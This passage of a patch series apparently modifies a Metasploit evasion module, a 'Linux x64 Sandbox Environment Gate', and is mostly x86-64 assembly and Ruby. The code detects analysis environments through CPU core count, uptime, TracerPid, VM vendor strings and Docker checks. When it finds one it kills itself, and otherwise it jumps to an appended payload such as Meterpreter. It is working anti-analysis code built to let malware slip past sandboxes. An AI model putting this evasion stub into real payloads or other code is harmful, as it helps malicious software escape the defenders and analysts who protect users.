+check_cores: xor eax, eax + mov al, 204 + xor rdi, rdi + xor rsi, rsi + mov sil, 128 + mov rdx, rsp syscall - mov r14, rax - - mov rdi, r13 - mov eax, 3 - syscall - - cmp r14, 12 - jl check4 - xor rdx, rdx - sub r14, 12 - -scan_tracer: - cmp rdx, r14 - jg check4 - cmp byte ptr [rsp + rdx + 0], 'T' - jne next_tracer - cmp byte ptr [rsp + rdx + 1], 'r' - jne next_tracer - cmp byte ptr [rsp + rdx + 2], 'a' - jne next_tracer - cmp byte ptr [rsp + rdx + 3], 'c' - jne next_tracer - cmp byte ptr [rsp + rdx + 4], 'e' - jne next_tracer - cmp byte ptr [rsp + rdx + 5], 'r' - jne next_tracer - cmp byte ptr [rsp + rdx + 6], 'P' - jne next_tracer - cmp byte ptr [rsp + rdx + 7], 'i' - jne next_tracer - cmp byte ptr [rsp + rdx + 8], 'd' - jne next_tracer - cmp byte ptr [rsp + rdx + 9], ':' - jne next_tracer - cmp byte ptr [rsp + rdx + 10], 9 - jne next_tracer - cmp byte ptr [rsp + rdx + 11], '0' - je next_tracer - add r15, 25 - jmp check4 - -next_tracer: - inc rdx - jmp scan_tracer + + test rax, rax + js check_uptime + + mov rbx, [rsp] + xor rcx, rcx +count_loop: + test rbx, rbx + jz evaluate_cores + mov rax, rbx + dec rax + and rbx, rax + inc rcx + jmp count_loop + +evaluate_cores: + cmp rcx, #{cores} + jl sandbox_detected ; ───────────────────────────────────────────────────────────── -; Check 4: /sys/class/dmi/id/sys_vendor for VM vendor → +20 -; String at r12 + 47 +; Check: System Uptime via sysinfo ; ───────────────────────────────────────────────────────────── -check4: - lea rdi, [r12 + 47] ; path = "/sys/class/dmi/id/sys_vendor" - xor esi, esi - mov eax, 2 - syscall - test rax, rax - js gate - - mov r13, rax - mov rdi, r13 - mov rsi, rsp - mov edx, 0x100 +check_uptime: xor eax, eax + mov al, 99 + mov rdi, rsp syscall - mov r14, rax - - mov rdi, r13 - mov eax, 3 - syscall - - cmp r14, 4 - jl gate - xor rdx, rdx - sub r14, 4 - -scan_vendor: - cmp rdx, r14 - jg gate - - cmp byte ptr [rsp + rdx + 0], 'V' - jne chk_qemu - cmp byte ptr [rsp + rdx + 1], 'M' - jne chk_qemu - cmp byte ptr [rsp + rdx + 2], 'w' - jne chk_qemu - cmp byte ptr [rsp + rdx + 3], 'a' - jne chk_qemu - add r15, 20 - jmp gate - -chk_qemu: - cmp byte ptr [rsp + rdx + 0], 'Q' - jne chk_vbox - cmp byte ptr [rsp + rdx + 1], 'E' - jne chk_vbox - cmp byte ptr [rsp + rdx + 2], 'M' - jne chk_vbox - cmp byte ptr [rsp + rdx + 3], 'U' - jne chk_vbox - add r15, 20 - jmp gate - -chk_vbox: - cmp byte ptr [rsp + rdx + 0], 'i' - jne chk_hv - cmp byte ptr [rsp + rdx + 1], 'n' - jne chk_hv - cmp byte ptr [rsp + rdx + 2], 'n' - jne chk_hv - cmp byte ptr [rsp + rdx + 3], 'o' - jne chk_hv - add r15, 20 - jmp gate + + test rax, rax + js execute_optional_checks + + mov rax, [rsp] + xor rbx, rbx + mov bx, #{uptime} + cmp rax, rbx + jle sandbox_detected -chk_hv: - cmp byte ptr [rsp + rdx + 0], 'M' - jne next_vendor - cmp byte ptr [rsp + rdx + 1], 'i' - jne next_vendor - cmp byte ptr [rsp + rdx + 2], 'c' - jne next_vendor - cmp byte ptr [rsp + rdx + 3], 'r' - jne next_vendor - add r15, 20 - jmp gate +execute_optional_checks: +#{rdtsc_asm} +#{docker_asm} -next_vendor: - inc rdx - jmp scan_vendor + jmp pass ; ALL CHECKS PASSED, JUMP TO PAYLOAD ; ───────────────────────────────────────────────────────────── -; Gate: score >= 50 → exit_group(0), else fall through to payload +; Sandbox Detected: Kill Process ; ───────────────────────────────────────────────────────────── -gate: - cmp r15, 50 - jl pass - mov eax, 231 ; exit_group +sandbox_detected: + xor eax, eax + mov al, 231 xor edi, edi syscall +; ───────────────────────────────────────────────────────────── +; Clean Up & Execute +; ───────────────────────────────────────────────────────────── pass: - add rsp, 0x1000 ; restore stack - jmp payload_entry ; skip string table, into appended payload - -get_strings: - call main - db "/proc/cpuinfo", 0 - db "/proc/1/cgroup", 0 - db "/proc/self/status", 0 - db "/sys/class/dmi/id/sys_vendor", 0 - -payload_entry: - ; raw payload bytes appended immediately after this stub + xor eax, eax + mov al, 128 + add rsp, rax + xor rax, rax + xor rbx, rbx + xor rcx, rcx + xor rdx, rdx + xor rdi, rdi + xor rsi, rsi + xor r8, r8 ^ Metasm::Shellcode.assemble(Metasm::X86_64.new, asm).encode_string end diff --git a/modules/evasion/linux/x64/sandbox_gate.rb b/modules/evasion/linux/x64/sandbox_gate.rb index cb4326ac81d53..1636f05231f69 100644 --- a/modules/evasion/linux/x64/sandbox_gate.rb +++ b/modules/evasion/linux/x64/sandbox_gate.rb @@ -14,9 +14,8 @@ def initialize(info = {}) 'Name' => 'Linux x64 Sandbox Environment Gate', 'Description' => %q{ Generates a Linux x64 ELF whose entry point is a pre-execution - environment gate. Checks /proc/cpuinfo (hypervisor flag), - /proc/1/cgroup (docker), /proc/self/status (TracerPid), and - /sys/class/dmi/id/sys_vendor (VM vendor string). + environment gate designed to detect and evade automated malware + analysis sandboxes, hypervisors and containerized environments. }, 'Author' => ['Massimo Bertocchi'], 'License' => MSF_LICENSE, @@ -29,7 +28,11 @@ def initialize(info = {}) register_options( [ - OptString.new('FILENAME', [true, 'Output filename', 'env_gate.elf']) + OptString.new('FILENAME', [true, 'Output filename', 'env_gate.elf']), + OptInt.new('CORES', [true, 'Minimum CPU cores required to pass check', 2]), + OptInt.new('UPTIME', [true, 'Minimum system uptime in seconds required to pass check', 600]), + OptBool.new('CHECK_DOCKER', [true, 'Enable /.dockerenv container detection check', true]), + OptBool.new('CHECK_VIRT', [true, 'Enable RDTSC hypervisor latency detection (WARNING: Will kill payload on Cloud VMs)', false]) ] ) end @@ -40,7 +43,7 @@ def run fail_with(Failure::BadConfig, 'Failed to generate payload') end - gate_stub = sandbox_evasion + gate_stub = sandbox_evasion(datastore['CORES'], datastore['UPTIME'], datastore['CHECK_DOCKER'], datastore['CHECK_VIRT']) if gate_stub.blank? fail_with(Failure::BadConfig, 'Gate stub assembly failed') end @@ -51,4 +54,4 @@ def run File.binwrite(datastore['FILENAME'], final_elf) File.chmod(0o755, datastore['FILENAME']) end -end +end \ No newline at end of file From f5d38baaf646203701d8d5890490d61fbc706ac0 Mon Sep 17 00:00:00 2001 From: litemars Date: Tue, 21 Jul 2026 15:25:20 +0200 Subject: [PATCH 6/8] fixing linter --- modules/evasion/linux/x64/sandbox_gate.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/evasion/linux/x64/sandbox_gate.rb b/modules/evasion/linux/x64/sandbox_gate.rb index 1636f05231f69..c1b3a481d1296 100644 --- a/modules/evasion/linux/x64/sandbox_gate.rb +++ b/modules/evasion/linux/x64/sandbox_gate.rb @@ -14,7 +14,7 @@ def initialize(info = {}) 'Name' => 'Linux x64 Sandbox Environment Gate', 'Description' => %q{ Generates a Linux x64 ELF whose entry point is a pre-execution - environment gate designed to detect and evade automated malware + environment gate designed to detect and evade automated malware analysis sandboxes, hypervisors and containerized environments. }, 'Author' => ['Massimo Bertocchi'], @@ -54,4 +54,4 @@ def run File.binwrite(datastore['FILENAME'], final_elf) File.chmod(0o755, datastore['FILENAME']) end -end \ No newline at end of file +end From f500a6b455f08870eed685e20ff8a90ec08496af Mon Sep 17 00:00:00 2001 From: litemars <44295342+litemars@users.noreply.github.com> Date: Thu, 27 Aug 2026 22:39:05 +0200 Subject: [PATCH 7/8] Update modules/evasion/linux/x64/sandbox_gate.rb Co-authored-by: Diego Ledda --- modules/evasion/linux/x64/sandbox_gate.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/evasion/linux/x64/sandbox_gate.rb b/modules/evasion/linux/x64/sandbox_gate.rb index c1b3a481d1296..1566c11401644 100644 --- a/modules/evasion/linux/x64/sandbox_gate.rb +++ b/modules/evasion/linux/x64/sandbox_gate.rb @@ -22,7 +22,8 @@ def initialize(info = {}) 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'Targets' => [['Linux x64', {}]], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'PayloadLinuxMinKernel' => '3.7' } ) ) From 11f1cd18a8e14b5daf3ce104f45a6f3f0d021fa6 Mon Sep 17 00:00:00 2001 From: litemars Date: Thu, 27 Aug 2026 23:04:40 +0200 Subject: [PATCH 8/8] fetching back registry values and fix issue meterpreter payload --- .../core/payload/linux/x64/sandbox_evasion.rb | 23 ++++++++++++++++--- modules/evasion/linux/x64/sandbox_gate.rb | 2 +- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/linux/x64/sandbox_evasion.rb b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb index 6d5466399a820..f6bfcf05909d1 100644 --- a/lib/msf/core/payload/linux/x64/sandbox_evasion.rb +++ b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb @@ -64,6 +64,16 @@ def sandbox_evasion(cores = 2, uptime = 600, check_docker = true, check_virt = f asm = %Q^ _start: + ; Save callee-saved registers per x64 convention + push rbx + push rbp + push rdi + push rsi + push r12 + push r13 + push r14 + push r15 + xor eax, eax mov al, 128 sub rsp, rax @@ -139,12 +149,19 @@ def sandbox_evasion(cores = 2, uptime = 600, check_docker = true, check_virt = f mov al, 128 add rsp, rax xor rax, rax - xor rbx, rbx xor rcx, rcx xor rdx, rdx - xor rdi, rdi - xor rsi, rsi xor r8, r8 + + ; Restore callee-saved registers (reverse order) + pop r15 + pop r14 + pop r13 + pop r12 + pop rsi + pop rdi + pop rbp + pop rbx ^ Metasm::Shellcode.assemble(Metasm::X86_64.new, asm).encode_string end diff --git a/modules/evasion/linux/x64/sandbox_gate.rb b/modules/evasion/linux/x64/sandbox_gate.rb index 1566c11401644..8ca6f5d3d00eb 100644 --- a/modules/evasion/linux/x64/sandbox_gate.rb +++ b/modules/evasion/linux/x64/sandbox_gate.rb @@ -23,7 +23,7 @@ def initialize(info = {}) 'Arch' => [ARCH_X64], 'Targets' => [['Linux x64', {}]], 'DefaultTarget' => 0, - 'DefaultOptions' => { 'PayloadLinuxMinKernel' => '3.7' } + 'DefaultOptions' => { 'PayloadLinuxMinKernel' => '3.17' } ) )